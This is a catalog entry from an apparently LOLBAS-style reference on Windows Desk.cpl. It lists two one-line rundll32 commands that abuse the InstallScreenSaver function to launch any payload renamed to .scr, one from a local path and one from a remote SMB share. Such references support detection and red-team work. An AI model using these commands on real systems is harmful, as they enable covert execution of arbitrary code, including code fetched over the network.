CatalogLOLBAS

LOL · Library

Desk.cpl

2 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Launch an executable with a .scr extension by calling the InstallScreenSaver function.

Use Launch any executable payload, as long as it uses the .scr extension.

rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute

Execute

ExecutionWindows

Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.

Use Launch any executable payload, as long as it uses the .scr extension.

rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute